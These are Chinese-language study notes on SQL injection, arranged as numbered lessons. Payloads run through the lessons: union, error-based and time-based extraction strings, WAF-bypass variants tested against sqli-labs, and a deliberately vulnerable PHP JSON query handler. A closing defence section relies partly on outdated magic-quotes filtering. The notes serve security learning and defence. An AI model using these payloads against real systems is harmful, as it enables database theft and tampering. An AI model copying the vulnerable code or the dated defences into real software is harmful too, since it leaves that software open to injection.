SQL注入系统学习
本次学习共分为十五课时,虽然之前学习过但是感觉并不系统,所以重新学习了一遍
1):sql注入基础
原理:
对用户输入的参数没有进行过滤或者过滤不严格导致语句与数据库进行交互,从而欺骗服务器执行恶意的SQL语句。
危害:
获得、篡改数据库信息,敏感信息泄露
2):注入分类
按照参数类型:
字符型、数字型
数字型
判断方式
?id=1 and 1=1--+ true
?id=1 and 1=2--+ false
按照注入位置:
GET注入、POST注入
根据结果反馈:
布尔盲注、时间盲注
3):get型注入
header头处存在注入
GET /?id=xxxx HTTP/1.1
Host、cookie、user-agent、XFF处都有可能
4):base64注入
通过对参数进行base64加密,可以绕过一些waf
setcookie('uname', base64_encode($row1['username']), time()+3600);
5):布尔注入
根据SQL注入后界面回显的true或false
1' and length(database())=x%23
6):cookie注入
Cookie: id = 1 and 1=1
在cookie处进行注入
7):显错注入
floor
floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分
' union select 1,count(*),concat(0x3a,0x3a,(payload),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23
例如
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema="security" limit 3,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23
extractvalue()
对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '
查询表
database()替换为
(select group_concat(table_name) from information_schema.tables where table_schema=database() )
updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法
updatexml(目标xml文档,xml路径,更新的内容)
1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
查询表
database()替换为
group_concat(table_name) from information_schema.tables where table_schema=database()
下面这些并不经常使用
geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
exp()
select * from test where id=1 and exp(~(select * from(select user())a));
8):host注入
9):伪静态注入
定义:
表面上看似是静态网页(以.html、.htm等结尾不存在任何数据交互),但其实是动态网页存在数据交互,具有这种特性的网页被称为“伪静态网页”,一般是经过处理的,将动态网页的id等参数通过URL重写来隐藏。
如何辨别:
在console中输入javascript:alert(document.lastModified),得到网页最后的修改时间,如果和现在时间一致就是伪静态(因为动态页面的最后修改时间总是当前时间)
注入方法:
URL:xxxxx/id/222.html
直接在222后面加个单引号’ 看看报不报错
tip:
使用sqlmap时应:xxxxx/id/222.html 在222后面加个*
10):json注入
定义:
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造
JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。
<?phpheader('content-type:text/html;charset=utf-8');if(isset($_POST['json'])){$json_str=$_POST['json'];$json=json_decode($json_str);if(!$json){die('JSON文档格式有误,请检查');}$name=$json->name;//$passwd=$json->passwd;$mysqli=new mysqli();$mysqli->connect('localhost','root','zhuangyan');if($mysqli->connect_errno){die('数据库连接失败:'.$mysqli->connect_error);}$mysqli->select_db('test');if($mysqli->errno){dir('打开数据库失败:'.$mysqli->error);}$mysqli->set_charset('utf-8');$sql="SELECT name,sex FROM users WHERE name='{$name}'";$result=$mysqli->query($sql);if(!$result){die('执行SQL语句失败:'.$mysqli->error);}else if($result->num_rows==0){die('查询结果为空');}else {$array1=$result->fetch_all(MYSQLI_ASSOC);echo "用户名:{$array1[0]['name']},性别:{$array1[0]['sex']}";}$result->free();$mysqli->close();}
?>
json值
数字(整数或浮点数) {“age”:30 }
字符串(在双引号中) {“uname”:“yang”}
逻辑值(true 或false){“flag”:true }
数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
对象(在大括号中)JSON对象在大括号({})中书写: null { “runoob”:null }
json={"name":"admin"}
json={"name":"admin' union select database(),version()"}
11)宽字节注入
宽字节注入原理
首先是编码,之所以产生宽字节注入,就是因为有不同的编码方式,因为php后端会对我们的输入进行转义,转义的方式通常是加上’\’,比如 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串(预定义字符是:单引号(’),双引号("),反斜杠(\),NULL)
产生条件:
提交:
id=1’ and 1=1%23
这时数据库语句为:
select * from xx where id='1\' and 1=1%23'
这时是注入失败的,当更换payload:
id=1%df ’ and 1=1%23
这时数据库语句为:
select * from xx where id ='1運' and 1=1%23'
单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸
12):二次注入
原理
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。
可以概括为以下两步:
第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
$username= $_SESSION["username"];//直接取出了数据库的数据
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//对该用户的密码进行更新
$sql = "UPDATE users SET PASSWORD='12345678' where username='admin'#
在数据库中新建两个用户admin和admin’#
使用update更新admin’#的密码时,数据库语句为:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
#后面的东西被注释掉
13):soap注入
概述:
简单对象访问协议(SOAP)是连接或Web服务或客户端和Web服务之间的接口。SOAP通过应用层协议(如HTTP,SMTP或甚至TCP)进行操作,用于消息传输。
一个简单的SOAP消息包含:
Envelope: 标识XML文档,具有名称空间和编码详细信息。
标题:包含标题信息,如内容类型和字符集等。
正文:包含请求和响应信息.
故障:错误和状态信息。
14):搜索型注入
原因:
在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入
在搜索框內进行输入,数据库语句一般为
select * from xxx where xx like "%查询的关键字%"
%:匹配任何字符
输入张% ‘and ‘1’=‘1’ and %’=’
那么数据库语句就是
select * from xxx where xx like '%张% 'and '1'='1' and' %'='%'
15):基于时间的注入
sleep()
id=1 union select if(substr(user(),1,4)=‘root’,sleep(4),1);
benchmark()
mysql内置函数
benchmark(count,payload) 将payload执行count次
查询当前用户的第一位字母
select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1);
笛卡尔积(heavy query)
大负荷查询:通过做大量的查询导致查询时间较长来达到延时的目的
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables Cselect * from xxx where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
get_lock
mysql_pconnect(server,user,pwd,clientflag)
mysql_pconnect() 函数 打开一个到 MySQL 服务器的持久连接mysql_pconnect() 和 mysql_connect() 非常相似
但有两个主要区别:
1、当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。
2、当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用 (mysql_close()不会关闭由mysql_pconnect() 建立的连接)
get_lock(str,timeout)
get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。在一个session中锁定变量,同时通过另外一个session执行,将会产生延时
GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),一个客户端对某个字段加锁以后另一个客户端再想对这个字段加锁就会失败,然后就会等待设定好的时间
当调用 RELEASE_LOCK来释放上面加的锁或客户端断线了,上面的锁才会释放,其它的客户端才能进来。
16):union联合查询注入
union用于合并两个或多个select语句的结果集,并消去表中任何重复行
查询数据库中的表
1' and union select group_concat(table_name)from information_schema.tables where table_schema=database();
17):x-forward-for注入
由于系统一般会采用String ip = request.getHeader(“X-Forwarded-For”);进行获取ip,然后注入者就可以通过X-Forwarded-For请求头信息就行伪造ip,这个ip也可以是一些注入语句
18):存在过滤的sql注入
过滤注释符情况:# %23 /* * / ;00
常见绕过:
大小写绕过
注释符:
#–+ //(//可用于注释空白符)
替换关键字(
UNIunionON):适用于正则只匹配一次时
空格绕过
select %0a*%0afrom*0axx;(%0a)是回车
url编码
可尝试双编码,编码两次
十六进制绕过:
select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)
宽字节绕过:
%df5c
动态查询执行:
当select关键字被过滤后:
oracle:‘sel’|| ‘ect’
ms-sql:‘sel’+‘ect’
mysql:‘sel’ ‘ect’
使用char函数构造单独字符
(SQL注入过滤引号标记时)
嵌套剥离后的表达式:
selselectect
过滤特殊函数:
information_schema.schemata
information_schema.schemata
information_schema.schemata
(information_schema.schemata)
information_schema/**/.schemata
20):sql注入之绕过waf继续注入
安全狗绕过
这里使用的是sqlilabs
注入点
?id=1’ 报错:单引号注入的话直接就可以进行下一步
?id=1’–+ 正常
数字型注入
?id=1 and 1=1 拦截
?id=1 or 1=1 拦截
?id=1’ and ‘1’=‘1 拦截
?id=1’ and a 不拦截
?id=1’ and ! 不拦截
由此发现安全狗只拦截and或者or后面的数字和字符型
- 将and或者or换成其他符号
- 带入的不是字符型或者数字型
?id=1 && 1=1 拦截
?id=1 || 1=1 拦截
?id=1 & 1=1 拦截
?id=1 | 1=1 不拦截
?id=1 && true 不拦截
?id=1 && false 不拦截但回显正常
?id=1 %26%26 true 不拦截
%26:& ?id=1 %26%26 false 不拦截
也可使用xor、||等符号代替
过滤order by
?id=1%20/!order/by%204–+ 拦截 ?id=1%20(order%20by)%204–+ 拦截
1%20order%20–+%20by%204–+ 拦截
?id=1%20order%23all%0a%20by%204–+ 拦截
?id=1%20order%23%0aby%204–+ 不拦截 union select
?id=1%20union%0a%23select%201,2,3–+ 拦截
id=1%20/!union/%select%201,2,3–+ 拦截
?id=1%20union–+sss%0aselect%201,2,3–+ 拦截
?id=1%20union%20/select/ 不拦截
21):sql注入防御
代码层防御
GPC/RUNTIME魔术引号
magic_quotes_gpc负责对GET,POST,COOKIE的值进行过滤。
magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤。
通常开启这两项后能防住大部分的SQL注入漏洞被利用
SQL语句预编译和绑定变量
String sql = “select id, no from user where id=?”;
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();
采用了PreparedStatement,就会将sql语句:“select id, no from user where id=?” 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的 语法结构
语句主要目的:不论后面输入的什么命令都不会作为SQL命令来执行,只会被当做字符串字面值参数
过滤函数和类
/*
函数名称:inject_check()
函数作用:检测提交的值是不是含有SQL注射的字符,防止注射,保护服务器安全
参 数:$sql_str: 提交的变量
返 回 值:返回检测结果,ture or false
*/
function inject_check($sql_str) {
return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str); // 进行过滤
} /*
函数名称:verify_id()
函数作用:校验提交的ID类值是否合法
参 数:$id: 提交的ID值
返 回 值:返回处理后的ID
*/
function verify_id($id=null) {
if (!$id) { exit('没有提交参数!'); } // 是否为空判断
elseif (inject_check($id)) { exit('提交的参数非法!'); } // 注射判断
elseif (!is_numeric($id)) { exit('提交的参数非法!'); } // 数字判断
$id = intval($id); // 整型化 return $id;
} /*
函数名称:str_check()
函数作用:对提交的字符串进行过滤
参 数:$var: 要处理的字符串
返 回 值:返回过滤后的字符串
*/
function str_check( $str ) {
if (!get_magic_quotes_gpc()) { // 判断magic_quotes_gpc是否打开
$str = addslashes($str); // 进行过滤
}
$str = str_replace("_", "\_", $str); // 把 '_'过滤掉
$str = str_replace("%", "\%", $str); // 把 '%'过滤掉 return $str;
} /*
函数名称:post_check()
函数作用:对提交的编辑内容进行处理
参 数:$post: 要提交的内容
返 回 值:$post: 返回过滤后的内容
*/
function post_check($post) {
if (!get_magic_quotes_gpc()) { // 判断magic_quotes_gpc是否为打开
$post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤
}
$post = str_replace("_", "\_", $post); // 把 '_'过滤掉
$post = str_replace("%", "\%", $post); // 把 '%'过滤掉
$post = nl2br($post); // 回车转换
$post = htmlspecialchars($post); // html标记转换 return $post;
}
白名单黑名单
PDO预处理
<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);// 插入一行
$name = 'one';
$value = 1;
$stmt->execute();// 用不同的值插入另一行
$name = 'two';
$value = 2;
$stmt->execute();
?>
22):sql注入总结
SQL注入漏洞危害很大,一直在owasp top10中第一是有原因的,学习不仅要学会怎么绕过,还要学会怎么防御,攻防结合才是一名合格的安全人员。
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- java中string类型转换成map
背景:有时候string类型的数据取出来是个很标准的key、value形式,通过Gson的可以直接转成map 使用方式: Gson gson new Gson();Map<String, Object> map new HashMap<String, Object>();map gson.fromJson(jsonString, map.ge…...
2024/5/1 8:25:41 - 推荐两个PDF软件提高办公效率
工作过程中,PDF文件是很常见的了,那么PDF文档有口令忘记了打不开怎么办?PDF有限制密码不能编辑怎么办?别人发的PDF文件想转换成其他格式该怎么办?等等问题,两个PDF软件就可以帮助你搞定。 okfone PDF解密大…...
2024/4/6 8:48:47 - 简易注册实验
最终效果如图: 注意: 1、此实验用form中的table写比较好排版。 2、要使按提交按钮后依然停留在原网页: form标签里用return check(); 而不是check(); JS里相应要return false; 如图: <form action"https://www.baidu.…...
2024/4/28 9:48:29 - mock在vue里怎么用 2020-10
mock在vue里怎么用 https://github.com/nuysoft/Mock/wiki/Getting-Started 以上是官方文档,不知道mock是什么的自行查看 下载node.js 的npm 自行下载 npm install -g cnpm --registryhttps://registry.npm.taobao.org//npm的镜像npm install -g vue/cli //安装…...
2024/5/1 8:48:12 - 【厂仔开发:使用扫码枪生成二维码】使用 扫码枪用JavaScript 生成二维码
在厂里做erp,有要求写一个扫码枪扫描二维码生成的demo,如下: 使用到的类库有:jQuery,qrcode两个。 <!DOCTYPE html> <html> <head> <meta charset"UTF-8"><script type"t…...
2024/4/25 4:29:01 - Java 9.24Sum
Java Sum(运算符&流程控制语句) 一、运算符 1.1概念解析 1、运算 对常量和变量进行操作的过程称为运算。 2、运算符 对常量和变量进行操作的符号称为运算符 3、操作数 参与运算的数据称为操作数 4、用运算符把常量或者变量连接起来符号java语法的…...
2024/4/28 16:03:49 - 从“订单不存在”异常出发,窥探mysql数据库redo日志和binlog的一致性问题
从“订单不存在”异常出发,窥探mysql数据库redo日志和binlog的一致性问题问题缘起失败的修复数据库内部的两阶段提交case排查验证和总结问题缘起 公司的公共订单服务线上有一个场景:上游业务系统监听订单库binlog,如果有新订单产生ÿ…...
2024/4/6 8:48:42 - ##连大学定位都找不准,还想虐面试官?(AKD)
出道即是巅峰,天赋大于努力,成功是不可复制的。当你在为你考上不好的学校,觉得平台低的时候,不要不屑、不要言论、不然会后悔当初自己的行为举止。作为一个乐于助人的AKD,我会将大学四年的感悟告诉大家。为此我总结了以…...
2024/4/6 8:48:41 - 在MYSQL下创建水浒表格
创建一个数据库,在库里创建一个水浒表 create datebase meme character set utf8; use meme; use meme; create table shuihu ( - id int, - name varchar(50), - nickname varchar(50), - gender varchar(50), - age int , - address varchar(50) ) 输入水浒的英雄…...
2024/4/6 6:52:02 - Matlab数值剔除
Matlab 数值剔除Matlab数值剔除数据处理Matlab数值剔除 在进行人工智能等算法之前,对样本数值处理分析时经常要把其中的坏值删除掉。因为输入输出都是多值的,成矩阵排列,删除某一个值意味着要删除相关的所人值,而不仅仅是该值本身…...
2024/5/1 8:28:44 - SpringBoot2.x系列教程(六十四)SpringBoot基于jar包启动核心原理及流程详解
得益于SpringBoot的封装,我们可以只通过jar -jar一行命令便启动一个web项目。再也不用操心搭建tomcat等相关web容器。那么,你是否探究过SpringBoot是如何达到这一操作的呢? 只有了解了底层实现原理,才能更好的掌握该项技术带来的好处以及性能调优。本篇文章带大家聊一探究…...
2024/4/6 6:52:00 - .netcore 3.1部署在dock上
参考 1. 拷贝。net程序发布文件夹到linux 1.1配置好dockfile文件 #引入镜像,低版本 docker 去掉 AS base #换成别人做的阿里镜像 #FROM registry.cn-hangzhou.aliyuncs.com/newbe36524 FROM mcr.microsoft.com/dotnet/core/aspnet:3.1-buster-slim AS base#配置…...
2024/4/21 21:31:43 - C++ STL容器源代码
C STL容器源代码vectorsetpair & mapqueuestackstringSTL快速入门vector 查看详细分析 #include<iostream> using namespace std; #include<memory.h> // alloc是SGI STL的空间配置器 template <class T, class Alloc alloc> class vector { public:…...
2024/5/1 8:50:56 - django 用户验证,restframework用户验证
的风格的...
2024/4/6 8:48:39 - C++ 类型转换
1、类型转换介绍 C风格的强制类型转换(Type Cast)很简单,不管什么类型的转换统统是: TYPE b (TYPE)a C风格的类型转换提供了4种类型转换操作符来应对不同场合的应用。 1、 static_cast<>() 静态类型转换,编译的时c编译器会做类…...
2024/5/1 6:11:27 - PCIE配置和地址空间
来源:https://www.jianshu.com/p/574e9a2cbc4e 每个PCIe设备,有这么一段空间,Host软件可以读取它获得该设备的一些信息,也可以通过它来配置该设备,这段空间就叫做PCIe的配置空间。不同于每个设备的其它空间,…...
2024/4/23 14:07:44 - Redis哨兵详解
实现故障恢复自动化:详解Redis哨兵技术 原文出处: http://www.redis.cn/articles/20181020001.html 在前面分享的《读完这篇文章,就基本搞定了Redis主从复制》中我们曾提到,Redis主从复制的作用有数据热备、负载均衡、故障恢复…...
2024/4/6 8:48:36 - 以表格存储为例,解密阿里在分布式负载均衡的核心力
目录 一、表格存储概览 需求驱动 特性 架构 数据模型 负载均衡关键能力 二、多租户负载均衡 背景&定义 价值&终态 从0到1 从1到N 挑战&方案 请求资源量化和统计 水位和公平流控 触发时机 SLA闭环联动 三、总结 一、表格存储概览 需求驱动 先来看…...
2024/4/6 8:48:35 - 使用pytorch cuda11 cudnn8.02 Docker搭建nnUNet训练环境
使用pytorch cuda11 cudnn8.02 Docker搭建nnUNet训练环境 本文目的是加速训练过程,平时使用pytorch1.6 cuda10.2训练一个epoch将近400秒,搭建好docker环境后,使用cuda11、cudnn8.0.2 的环境,一个epoch的时间只需要160秒左右。加速…...
2024/4/27 0:21:57 - (JAVA)Druid简单应用
1.简单介绍 Druid:数据库连接池实现技术,由阿里巴巴提供的步骤: 导入jar包 druid-1.0.9.jar定义配置文件: 是properties形式的可以叫任意名称,可以放在任意目录下 加载配置文件。Properties获取数据库连接池对象&…...
2024/4/6 8:48:33
最新文章
- 羽毛多肽复合纳米纤维膜
羽毛多肽复合纳米纤维膜是一种结合了羽毛多肽和其他纳米纤维材料(如P(MA-AA)等)的新型生物材料。这种复合纳米纤维膜通过引入羽毛多肽,进一步提升了其生物相容性、生物活性以及吸附性能。 羽毛多肽作为一种天然生物材料,具有良好的…...
2024/5/1 8:55:43 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/3/20 10:50:27 - 比nestjs更优雅的ts控制反转策略-依赖查找
一、Cabloy5.0内测预告 Cabloy5.0采用TS对整个全栈框架进行了脱胎换骨般的大重构,并且提供了更加优雅的ts控制反转策略,让我们的业务开发更加快捷顺畅 1. 新旧技术栈对比: 后端前端旧版js、egg2.0、mysqljs、vue2、framework7新版ts、egg3…...
2024/5/1 4:21:35 - idea中 错误:找不到或无法加载主类
很神奇的就是maven打包是正常的,本来也是好好的,突然启动就报错了,我百度了很急,没什么结果,找了公司6年工作经验的老员工,还是搞了好久,我站了好久也是没解决。后来我也是在想maven的jar包都能…...
2024/4/30 17:24:42 - 416. 分割等和子集问题(动态规划)
题目 题解 class Solution:def canPartition(self, nums: List[int]) -> bool:# badcaseif not nums:return True# 不能被2整除if sum(nums) % 2 ! 0:return False# 状态定义:dp[i][j]表示当背包容量为j,用前i个物品是否正好可以将背包填满ÿ…...
2024/4/30 9:36:27 - 【Java】ExcelWriter自适应宽度工具类(支持中文)
工具类 import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet;/*** Excel工具类** author xiaoming* date 2023/11/17 10:40*/ public class ExcelUti…...
2024/4/30 0:57:52 - Spring cloud负载均衡@LoadBalanced LoadBalancerClient
LoadBalance vs Ribbon 由于Spring cloud2020之后移除了Ribbon,直接使用Spring Cloud LoadBalancer作为客户端负载均衡组件,我们讨论Spring负载均衡以Spring Cloud2020之后版本为主,学习Spring Cloud LoadBalance,暂不讨论Ribbon…...
2024/4/29 18:43:42 - TSINGSEE青犀AI智能分析+视频监控工业园区周界安全防范方案
一、背景需求分析 在工业产业园、化工园或生产制造园区中,周界防范意义重大,对园区的安全起到重要的作用。常规的安防方式是采用人员巡查,人力投入成本大而且效率低。周界一旦被破坏或入侵,会影响园区人员和资产安全,…...
2024/5/1 4:07:45 - VB.net WebBrowser网页元素抓取分析方法
在用WebBrowser编程实现网页操作自动化时,常要分析网页Html,例如网页在加载数据时,常会显示“系统处理中,请稍候..”,我们需要在数据加载完成后才能继续下一步操作,如何抓取这个信息的网页html元素变化&…...
2024/4/30 23:32:22 - 【Objective-C】Objective-C汇总
方法定义 参考:https://www.yiibai.com/objective_c/objective_c_functions.html Objective-C编程语言中方法定义的一般形式如下 - (return_type) method_name:( argumentType1 )argumentName1 joiningArgument2:( argumentType2 )argumentName2 ... joiningArgu…...
2024/4/30 23:16:16 - 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】
👨💻博客主页:花无缺 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】🌏题目描述🌏输入格…...
2024/5/1 6:35:25 - 【ES6.0】- 扩展运算符(...)
【ES6.0】- 扩展运算符... 文章目录 【ES6.0】- 扩展运算符...一、概述二、拷贝数组对象三、合并操作四、参数传递五、数组去重六、字符串转字符数组七、NodeList转数组八、解构变量九、打印日志十、总结 一、概述 **扩展运算符(...)**允许一个表达式在期望多个参数࿰…...
2024/4/29 21:25:29 - 摩根看好的前智能硬件头部品牌双11交易数据极度异常!——是模式创新还是饮鸩止渴?
文 | 螳螂观察 作者 | 李燃 双11狂欢已落下帷幕,各大品牌纷纷晒出优异的成绩单,摩根士丹利投资的智能硬件头部品牌凯迪仕也不例外。然而有爆料称,在自媒体平台发布霸榜各大榜单喜讯的凯迪仕智能锁,多个平台数据都表现出极度异常…...
2024/5/1 4:35:02 - Go语言常用命令详解(二)
文章目录 前言常用命令go bug示例参数说明 go doc示例参数说明 go env示例 go fix示例 go fmt示例 go generate示例 总结写在最后 前言 接着上一篇继续介绍Go语言的常用命令 常用命令 以下是一些常用的Go命令,这些命令可以帮助您在Go开发中进行编译、测试、运行和…...
2024/4/30 14:53:47 - 用欧拉路径判断图同构推出reverse合法性:1116T4
http://cplusoj.com/d/senior/p/SS231116D 假设我们要把 a a a 变成 b b b,我们在 a i a_i ai 和 a i 1 a_{i1} ai1 之间连边, b b b 同理,则 a a a 能变成 b b b 的充要条件是两图 A , B A,B A,B 同构。 必要性显然࿰…...
2024/4/30 22:14:26 - 【NGINX--1】基础知识
1、在 Debian/Ubuntu 上安装 NGINX 在 Debian 或 Ubuntu 机器上安装 NGINX 开源版。 更新已配置源的软件包信息,并安装一些有助于配置官方 NGINX 软件包仓库的软件包: apt-get update apt install -y curl gnupg2 ca-certificates lsb-release debian-…...
2024/5/1 6:34:45 - Hive默认分割符、存储格式与数据压缩
目录 1、Hive默认分割符2、Hive存储格式3、Hive数据压缩 1、Hive默认分割符 Hive创建表时指定的行受限(ROW FORMAT)配置标准HQL为: ... ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0001 COLLECTION ITEMS TERMINATED BY , MAP KEYS TERMI…...
2024/4/30 22:57:18 - 【论文阅读】MAG:一种用于航天器遥测数据中有效异常检测的新方法
文章目录 摘要1 引言2 问题描述3 拟议框架4 所提出方法的细节A.数据预处理B.变量相关分析C.MAG模型D.异常分数 5 实验A.数据集和性能指标B.实验设置与平台C.结果和比较 6 结论 摘要 异常检测是保证航天器稳定性的关键。在航天器运行过程中,传感器和控制器产生大量周…...
2024/4/30 20:39:53 - --max-old-space-size=8192报错
vue项目运行时,如果经常运行慢,崩溃停止服务,报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中,通过JavaScript使用内存时只能使用部分内存(64位系统&…...
2024/5/1 4:45:02 - 基于深度学习的恶意软件检测
恶意软件是指恶意软件犯罪者用来感染个人计算机或整个组织的网络的软件。 它利用目标系统漏洞,例如可以被劫持的合法软件(例如浏览器或 Web 应用程序插件)中的错误。 恶意软件渗透可能会造成灾难性的后果,包括数据被盗、勒索或网…...
2024/5/1 8:32:56 - JS原型对象prototype
让我简单的为大家介绍一下原型对象prototype吧! 使用原型实现方法共享 1.构造函数通过原型分配的函数是所有对象所 共享的。 2.JavaScript 规定,每一个构造函数都有一个 prototype 属性,指向另一个对象,所以我们也称为原型对象…...
2024/4/29 3:42:58 - C++中只能有一个实例的单例类
C中只能有一个实例的单例类 前面讨论的 President 类很不错,但存在一个缺陷:无法禁止通过实例化多个对象来创建多名总统: President One, Two, Three; 由于复制构造函数是私有的,其中每个对象都是不可复制的,但您的目…...
2024/4/29 19:56:39 - python django 小程序图书借阅源码
开发工具: PyCharm,mysql5.7,微信开发者工具 技术说明: python django html 小程序 功能介绍: 用户端: 登录注册(含授权登录) 首页显示搜索图书,轮播图࿰…...
2024/5/1 5:23:20 - 电子学会C/C++编程等级考试2022年03月(一级)真题解析
C/C++等级考试(1~8级)全部真题・点这里 第1题:双精度浮点数的输入输出 输入一个双精度浮点数,保留8位小数,输出这个浮点数。 时间限制:1000 内存限制:65536输入 只有一行,一个双精度浮点数。输出 一行,保留8位小数的浮点数。样例输入 3.1415926535798932样例输出 3.1…...
2024/4/30 20:52:33 - 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...
解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...
2022/11/19 21:17:18 - 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。
%读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...
2022/11/19 21:17:16 - 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...
win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...
2022/11/19 21:17:15 - 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...
有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...
2022/11/19 21:17:14 - win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...
置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...
2022/11/19 21:17:13 - 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...
Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...
2022/11/19 21:17:12 - 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...
